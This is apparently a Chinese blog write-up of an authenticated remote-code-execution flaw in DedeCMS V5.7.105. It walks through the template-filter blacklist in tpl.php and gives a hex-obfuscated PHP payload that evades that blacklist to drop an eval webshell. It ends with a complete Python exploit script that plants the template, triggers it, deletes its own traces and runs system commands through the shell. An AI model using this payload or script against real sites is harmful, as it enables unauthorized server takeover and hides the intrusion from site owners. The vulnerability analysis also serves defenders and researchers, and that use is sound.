织梦DedeCMS 0day RCE
前言
原文链接:https://mp.weixin.qq.com/s/bwBc4I9GeY6M_WlEDx83TA
复现记录时间:

下载当前最新版本DedeCMS V5.7.105进行漏洞复现以及漏洞分析
漏洞复现
可以自己在本地搭建漏洞环境,也可以拉取我自己制作的docker镜像
docker pull se1zer/dedecms:latest
docker run -d -P se1zer/dedecms
不会给镜像做瘦身,正在学了,555,要是拉取的太慢可以挂到后台或者就自己本地搭一下吧
首先需要到后台登录界面/uploads/dede/登录到后台,然后如下图操作创建一个模板

这里模板内容需要做绕过,详情看后边的漏洞分析
<?php
"\x66\x69\x6c\x65\x5f\x70\x75\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73"('./shell.php', "<?php eva" . "l(\$_GE" . "T[a]);");
// file_put_contents('./shell.php', "<?php eval($_GET[a]);");

第二步,如下图增加一个页面

通过刚刚新建的模板进行新建页面,需要注意的是这里文件名处后缀为.php


之后便在/uploads/a/下创建了一个文件,访问/uploads/a/123.php页面将会执行自己写的file_put_contents函数生成一个shell.php


漏洞分析
通过刚才漏洞复现的接口,可以看到创建模板调用的是tpl.php文件,新建页面调用的是templets_one_add.php文件
tpl.php
文件位于/uploads/dede/tpl.php
在31行这里,对模板内容进行了一些过滤和检测,下边使用注释进行解释过滤
// 不允许这些字符
$content = preg_replace("#(/\*)[\s\S]*(\*/)#i", '', $content);
// 黑名单正则匹配
global $cfg_disable_funs;
$cfg_disable_funs = isset($cfg_disable_funs) ? $cfg_disable_funs : 'phpinfo,eval,assert,exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source,file_put_contents,fsockopen,fopen,fwrite,preg_replace';
$cfg_disable_funs = $cfg_disable_funs.',[$]_GET,[$]_POST,[$]_REQUEST,[$]_FILES,[$]_COOKIE,[$]_SERVER,include,create_function,array_map,call_user_func,call_user_func_array,array_filert';
foreach (explode(",", $cfg_disable_funs) as $value) {
$value = str_replace(" ", "", $value);
// [^a-z]+ 是除a-z之外的字符(在[]里不是开头的意思)
if(!empty($value) && preg_match("#[^a-z]+['\"]*{$value}['\"]*[\s]*[([{]#i", " {$content}") == TRUE) {
$content = dede_htmlspecialchars($content);
die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$content}</pre>");
}
}
// 匹配<\?php头
if(preg_match("#^[\s\S]+<\?(php|=)?[\s]+#i", " {$content}") == TRUE) {
// 这里的U为惰性匹配
// 匹配函数变量执行,例如$a="phpinfo",则$a()就会被匹配
if(preg_match("#[$][_0-9a-z]+[\s]*[(][\s\S]*[)][\s]*[;]#iU", " {$content}") == TRUE) {
$content = dede_htmlspecialchars($content);
die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$content}</pre>");
}
// 就是在上一个匹配前加了一个@,防止报错
if(preg_match("#[@][$][_0-9a-z]+[\s]*[(][\s\S]*[)]#iU", " {$content}") == TRUE) {
$content = dede_htmlspecialchars($content);
die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$content}</pre>");
}
// 匹配反引号`,防止命令执行
if(preg_match("#[`][\s\S]*[`]#i", " {$content}") == TRUE) {
$content = dede_htmlspecialchars($content);
die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$content}</pre>");
}
}
通过上述梳理,发现有很多方法是可以绕过的!
之后进入$action == 'saveedit'语句,然后写入文件,这里模板文件必须使用.htm结尾

templets_one_add.php
前边都是对新建页面内容的一些处理,不会影响模板内容引入,在43行处开始保存文件

来到uploads/include/arc.sgpage.class.php的SavaToHtml方法

然后进入uploads/include/dedetag.class.php的SaveTo方法

798行获取模板内容,如果有标签的话,还会把标签的值写入文件

至此分析完毕
总结:代码没有对新建页面的文件后缀进行检测,并且模板内容安全检测也不够完善从而导致了这个漏洞的产生
EXP
import requests
from urllib.parse import urljoin
import re
cookies = {
"PHPSESSID": "5k3br9fh4f34so2k0k85qqg3f5"
}
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36",
}
s = requests.session()
s.headers.update(headers)
s.cookies.update(cookies)
def exp(url):
# 创建恶意模板
tpl_url = urljoin(url, "dede/tpl.php")
## 获取token
params="action=newfile&acdir=default"
r = s.get(tpl_url, params=params)
token = re.search('"token" value="([a-z0-9]{32})"', r.text).group(1)
# print(token)
shell = """<?php
"\\x66\\x69\\x6c\\x65\\x5f\\x70\\x75\\x74\\x5f\\x63\\x6f\\x6e\\x74\\x65\\x6e\\x74\\x73"('./shell.php', "<?php eva" . "l(\$_POS" . "T[a]);");
"""
data = {
"action": "saveedit",
"acdir": "default",
"token": token,
"filename": "hack.htm",
"content": shell
}
r = s.post(tpl_url, data=data)
if "成功" in r.text:
print("成功创建模板")
# 利用恶意模板新建页面
templets_url = urljoin(url, "dede/templets_one_add.php")
data = {
"dopost": "save",
"title": "hack",
"keywords": "hack",
"description": "hack",
"likeidsel": "default",
"nfilename": "/a/hack.php",
"template": "{style}/hack.htm",
"ismake": 0,
"body": ""
}
r = s.post(templets_url, data=data)
if "成功" in r.text:
print("成功增加页面")
s.get(urljoin(url, "a/hack.php"))
# 清理痕迹
## 获取aid
r = s.get(urljoin(url, "dede/templets_one.php"))
aid = re.search("'templets_one_edit.php\?aid=([0-9]+)&dopost=edit'>hack", r.text).group(1)
## 删除页面
params = f"aid={aid}&dopost=delete"
r = s.get(urljoin(url, "dede/templets_one_edit.php"), params=params)
if "成功" in r.text:
print("成功删除页面")
## 删除恶意模板
params = "action=del&acdir=default&filename=hack.htm"
r = s.get(tpl_url, params=params)
if "成功" in r.text:
print("成功删除模板")
shell_url = urljoin(url, "a/shell.php")
print("shell地址: " + shell_url)
print("shell密钥为a")
r = s.post(shell_url, data={"a":"system('whoami');"})
print("whoami命令执行结果: " + r.text)
if __name__ == "__main__":
url = "http://phpstorm.com/DedeCMS-V5.7.105-UTF8/uploads/"
exp(url)
登录后台后,手动修改脚本中的cookie和网站根目录,运行脚本即可获得shell地址及密码
织梦DedeCMS 0day RCE的更多相关文章
- 织梦(Dedecms)select_soft_post.php页面变量未初始漏洞
漏洞版本: Dedecms 5.5 漏洞描述: 漏洞产生文件位于include\dialog\select_soft_post.php,其变量$cfg_basedir没有正确初始化,导致可以饶过身份认 ...
- 织梦Dedecms使用Nginx的安全设置
首先需要说明的是,任何程序都是有漏洞的,我们需要做好一些必要的防范,来减少由于程序漏洞造成的损失.织梦的漏洞多,这个是很多人的想法.不过大家如果做好了织梦系统的文件夹权限什么的设置,很多漏洞也是用不上 ...
- 织梦DedeCMS模板防盗的四种方法
织梦(DedeCMS)模板也是一种财富,不想自己辛辛苦苦做的模板被盗用,在互联网上出现一些和自己一模一样的网站,就需要做好模板防盗.本文是No牛收集整理自网络,不过网上的版本都没有提供 Nginx 3 ...
- 织梦Dedecms安全设置
织梦DedeCMS是一款非常流行的CMS,很多刚开始建站人都用的织梦,一方面是织梦比较容易操作;另一方面是织梦的SEO方面做的确实比其他的系统要好一些.这些都导致织梦的用户群是非常庞大的,用的人多了, ...
- 织梦DEDECMS网站后台安全检测提示 加一个开关
1.进入后台后,点击 系统->系统基本参数->添加变量: 变量名称:cfg_safecheck_switch 变量值:N 变量类型:布尔(Y/N) 参数说明:启用安全监测系统: 2.找到系 ...
- 织梦DedeCMS首页调用单页文档内容的方法
很多使用织梦dedecms单页文档功能的朋友都想知道如何在织梦首页调用单页文档的内容,下面就教大家具体的实现方法: 具体步骤如下: 首先在首页模板需要显示单页文档内容的地方插入如下代码: {dede: ...
- 织梦DedeCms调用全站相关文章方法
织梦DedeCms 有个标签可以调用相关文章,通过下面的修改可以调用全站的相关文章,文章页内显示相关文章内容,可以提高关键词密度,还是挺不错的. 模板调用代码 <div> < ...
- 织梦DedeCms用SQL语句调用数据库任意内容方法
织梦DedeCms给我们提供了大量调用标签,供我们调用各种数据,但提供再多的标签,也有满足不了我们的时候,这时我们可以用SQL语句,灵活调用我们需要的内容. 如何任意调用数据库中的内容呢?先举个例子: ...
- 织梦DedeCms网站更换域名后文章图片路径批量修改
因为织梦上传图片用的是绝对地址,如果域名更换后,之前发布的文章的图片URL是不会跟着改变的,所以我们需要把旧域名替换成新的域名,方法很简单,有一段SQL语句更新一下文章正文内容就行. 复制下面SQL语 ...
- 织梦DedeCms去掉栏目页面包屑导航最后的分隔符“>”
织梦DedeCms的面包屑导航调用标签{dede:field name=’position’ /},在栏目页里调用的面包屑导航,最后会出现分割符号“>”,如:主页 > DedeCms 模板 ...
随机推荐
- MySQL57 zip安装
引用:MySQL5.7的.zip文件的配置安装 由于MySQL5.7之后在javaEE中交互的端口发生了变化,而MySQL官网中5.6.5.7版本64位的只有.zip文件,而.zip文件不像直接下 ...
- 【大数据面试】【框架】Hive:架构、计算引擎、比较、内外部表、by、函数、优化、数据倾斜、动静态分区
一.组成 1.架构 源数据原本是存在dubby数据库,存在MySQL可以支持多个客户端 客户端.数据存储(HDFS).MR计算引擎 2.计算引擎的选择 MR引擎:基于磁盘,计算时间长,但一定能算出结果 ...
- 如何使用Abstract类?抽象类的威力
简介: 今天我想谈谈如何使用抽象类,以及抽象类真正的威力.本文将结合具体业务来说明如何使用抽象类. 业务简述: 本人目前只接触过PMS(物业管理系统),公司主要业务的是美国的租房业务.由于美国租房和中 ...
- PHP7.2 装mongodb 遇到的坑,完美解决!
公司要做QA安全测试,组长就丢了一个源码包给我,什么资料都无. 系统是个Laravel框架,源码都是从线上git下来.然后看了本地composer.json 没有生成vendor 第一步安装 comp ...
- 知识分享-消息中间件详解+rabbitMQ
知识分享-消息中间件详解+rabbitMQ 消息中间件 概述 消息中间件是基于队列与消息传递技术,在网络环境中为应用系统提供同步或异步.可靠的消息传输的支撑性软件系统. 应用场景 异步处理 对于电商a ...
- uniapp微信小程序 原生底部导航栏
在pages.json文件中写 "tabBar": { "color": "#333333", "selectedColor&q ...
- [机器学习] Yellowbrick使用笔记6-分类可视化
分类模型试图在一个离散的空间中预测一个目标,即为一个因变量实例分配一个或多个类别. 代码下载 分类分数可视化工具显示类之间的差异以及一些特定于分类器的可视化评估.我们目前已经实施了以下分类器评估: 分 ...
- 能将三次握手讲到这个程度,不给你offer给谁!
摘要:在后端相关岗位的入职面试中,三次握手的出场频率非常的高,甚至说它是必考题也不为过. 本文分享自华为云社区<能将三次握手理解到这个深度,面试官拍案叫绝~>,作者:龙哥手记. 在后端相关 ...
- 手撕AVL树(C++)
阅读本文前,请确保您已经了解了二叉搜索树的相关内容(如定义.增删查改的方法以及效率等).否则,建议您先学习二叉搜索树.本文假定您对二叉搜索树有了足够的了解. 效率? 众所周知,在平衡条件下,对二叉搜索 ...
- test20230109考试总结-2023寒搜索专题
前言 2023 年的第一篇考试总结-- 赛时得分情况: A B C D E F G \(\texttt{Total}\) \(\texttt{Rank}\) \(40\) \(80\) \(0\) \ ...